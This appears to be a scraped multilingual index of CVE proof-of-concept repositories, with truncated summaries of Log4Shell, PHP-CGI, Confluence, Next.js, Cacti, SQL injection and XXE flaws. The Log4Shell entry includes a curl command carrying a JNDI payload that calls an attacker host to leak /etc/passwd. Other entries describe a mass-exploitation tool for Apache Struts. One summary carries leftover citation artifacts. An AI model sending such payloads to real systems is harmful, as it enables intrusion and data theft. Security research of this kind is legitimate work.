cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate 이 POC는 Spring / Hibernate를 사용하지만, rmi - 역직렬화와 유사한 접근 방식으로 모든 역직렬화 취약점을 트리거하는 데 사용될 수 있습니다 TL;DR $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 피해자의 /etc/passwd 내용이 attacker 컨테이너의 로...

php-cgi-cve-2024-4577

php-cgi-cve-2024-4577 php-cgi-cve-2024-4577 Уязвимость удаленного выполнения кода, возникающая в режиме CGI языка PHP, зарегистрированная в событии обнаружения внедрения аргументов PHP-CGI CVE-2024-4577 для внешних IP-адресов на внутренние серверы. Когда PHP выполняется в режиме CGI в среде...

CVE-2023-6360

CVE-2023-6360 분석 보고서 개요 CVE-2023-6360은 WordPress의 특정 플러그인에서 발견된 SQL 인젝션 취약점으로, 공격자가 웹 애플리케이션의 보안 취약점을 이용하여 데이터베이스에 악의적인 SQL 코드를 삽입할 수 있습니다. 이로 인해 데이터 유출, 데이터 변조 등의 심각한 보안 문제가 발생할 수 있습니다.​:contentReferenceoaicite:3index=3 영향 받는 버전 :contentReferenceoaicite:4index=4​:contentReferenceoaicite:5index=5...

poc-nextjs-CVE-2025-29927

Next.js 미들웨어 Subrequest 취약점 스캐너 Next.js 미들웨어 취약점CVE-2025-29927을 탐지하기 위한 견고한 개념 증명PoC 도구입니다. 개요 이 도구는 x-middleware-subrequest 헤더를 사용하여 미들웨어에 구현된 보안 검사를 우회할 수 있는 Next.js 애플리케이션의 심각한 취약점을 테스트합니다. 이 익스플로잇은 Next.js 버전에 따라 달라지는 특정 악성 헤더가 포함된 HTTP 요청을 전송하는 방식으로 이루어집니다. 익스플로잇 작동 방식 연구에 따르면 Next.js 버전에 따라...

cve-2025-9933

🔒 Учетные данные для панели администратора Имя пользователя: admin Пароль: Test@123 Имя пользователя: [email protected] Пароль: Test@123 Или зарегистрируйте нового пользователя. Описание Уязвимость обнаружена в PHPGurukul Beauty Parlour Management System 1.1. Указанной проблемой затронута...

CVE-2023-22527

CVE-2023-22527 - Atlassian Confluence 원격 코드 실행 개요 CVE-2023-22527 는 Atlassian Confluence Data Center 및 Server에서 발생하는 치명적인 원격 코드 실행 취약점입니다. 이 취약점은 인증되지 않은 공격자가 특정 엔드포인트에서 템플릿 인젝션을 통해 취약한 Confluence 인스턴스에서 임의 코드를 실행할 수 있게 합니다. 빠른 요약 CVE ID : CVE-2023-22527 CVSS 점수 : 10.0 치명적 CVSS 벡터 :...

CVE-2025-30144

概要 fast-jwt ライブラリは、RFC https://datatracker.ietf.org/doc/html/rfc7519page-9 に基づく iss クレームの検証を適切に行いません。 詳細 fast-jwt ライブラリ内の iss（発行者）クレーム検証は、文字列の配列を有効な iss 値として許可します。この設計上の欠陥により、悪意のある攻撃者が 'https://attacker-domain/', 'https://valid-iss' のような構造の iss クレームを持つ JWT を作成する、潜在的な攻撃が可能になります。寛容な検証のため、その JWT...

ABO.CMS-Login-SQLi-CVE-2024-25227

ABO.CMS-Login-SQLi-CVE-2024-25227 Неаутентифицированная SQL-инъекция и обход входа CVE-2024-25227 Дата: 23/02/2024 Протестировано на ABO.CMS 5.8 Поставщик: ABO.CMS URL поставщика:https://abocms.ru ABO.CMS 5.8 уязвим для SQL-инъекции через параметр tblogin на странице входа администратора...

CVE-2026-105076

The Appsbd Vitepos vitepos-lite WordPress plugin is vulnerable to Blind SQL Injection in versions up to and including 3.6.1 . The root cause is the Improper Neutralization of Special Elements used in an SQL Command (CWE-89). This flaw allows an attacker to perform unauthorized database queries. N...

EUVD-2026-94942

Improper Neutralization of Special Elements used in an SQL Command 'SQL Injection' vulnerability in Appsbd Vitepos vitepos-lite allows Blind SQL Injection.This issue affects Vitepos: from n/a through 3.6.1...

CVE-2026-105076 WordPress Vitepos plugin <= 3.6.1 - SQL Injection vulnerability

Improper Neutralization of Special Elements used in an SQL Command 'SQL Injection' vulnerability in Appsbd Vitepos vitepos-lite allows Blind SQL Injection.This issue affects Vitepos: from n/a through 3.6.1...

WordPress Vitepos plugin <= 3.6.1 - SQL Injection vulnerability

SQL Injection vulnerability discovered by Peter Tang in WordPress Plugin Vitepos versions = 3.6.1...

strutsy

Strutsy Strutsy - Apache Struts CVE-2017-5638 취약점의 대량 익스플로잇 도구입니다. 블라인드 및 시간 기반 코드 인젝션 기술을 포함하여 위음성false negative을 크게 줄입니다. 다른 기능으로는 한 번에 여러 대상을 스캔할 수 있는 대량 URL 가져오기가 있습니다. 사용법: python strutsy.py urls.txt windows/linux/default ip-address 모든 매개변수는 필수입니다. 1. urls.txt - 테스트할 URL이 포함된 파일입니다. 2...

ktor-xxe-poc

CVE-2023-45612: JetBrains Ktor XXE 개념 증명 이 저장소는 CVE-2023-45612에서 식별된 XML 외부 엔티티XXE 주입 취약점을 시연하기 위한 취약한 Ktor 서버를 포함합니다. 이 취약점은 ContentNegotiation 플러그인이 기본 xml 직렬 변환기와 함께 사용될 때 Ktor 버전 2.3.5 이전에 존재합니다. 기본 XML 파서는 외부 엔티티의 확인을 방지하도록 구성되지 않아 공격자가 서버에서 임의의 파일을 읽을 수 있게 합니다. 다음 섹션에서는 직접 익스플로잇을 재현하는 단계를...

FreePBX-Multiple-CVEs-2025

FreePBX-Multiple-CVEs-2025 Этот репозиторий содержит информацию о трёх уязвимостях безопасности, обнаруженных в FreePBX CVE-2025-66039, CVE-2025-61678, CVE-2025-61675, включая анализ, влияние и детали доказательства концепции для целей исследований безопасности и повышения осведомлённости. Описан...

CVE-2026-38945

CVE-2026-38945 작성자: Rafael José Núñez Gulías 회사: Iberian Var Group 영향을 받는 제품: RayVentory Scan Engine 12.6 Update 8 및 이전 버전 Raynet 권고: RSEC200967 Raynet의 rvia는 oracle 옵션이 호출될 때 Java 설치를 찾기 위해 검색 조건이 제대로 종료되지 않은 find 명령을 실행합니다. 공격자는 잘못된 검색 조건을 충족하는 특정 디렉터리 구조를 만들어 Java 탐지 프로세스 중 에이전트가 악성 바이너리를 실행하도...

CVE-2024-12828-PoC

CVE-2024-12828-PoC Уязвимость удаленного выполнения кода при внедрении команд CGI в Webmin...

CVE-2025-65754

CVE-2025-65754 : Хранимая XSS в Algernon 1.17.4 Описание Algernon v1.17.4 подвержен уязвимости межсайтового скриптинга XSS, которая позволяет злоумышленникам выполнять произвольный код с помощью специально созданной полезной нагрузки в имени файла. Затронутый проект : Algernon - 1.17.4 Разработчи...

CVE-2026-22599

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-22599 CVE-2026-22599 Strapi 5.33.1 - Strapi 저는 @abraxasnull입니다. 루프백 랩입니다. 클라이언트는 CVE-2026-22599-Abraxas-Labs.py입니다. Content-Type Builder 쓰기 API 데이터베이스 쿼리 주입. Yup은 검증하지만 알 수 없는 column.defaultTo를 제거하지 않습니다. 스키마...

CVE-2022-46169_unauth_remote_code_execution

CVE-2022-46169 - Cacti에서의 인증되지 않은 원격 코드 실행 Cacti 1.2.23 및 1.3.0에서 인증 우회 및 명령 삽입을 통한 인증되지 않은 원격 코드 실행 면책 조항: 이 스크립트는 시스템의 보안을 감사하기 위해 제작되었습니다. 이 스크립트는 본인 소유의 시스템 또는 악용에 대한 서면 허가를 받은 시스템에서만 사용하십시오...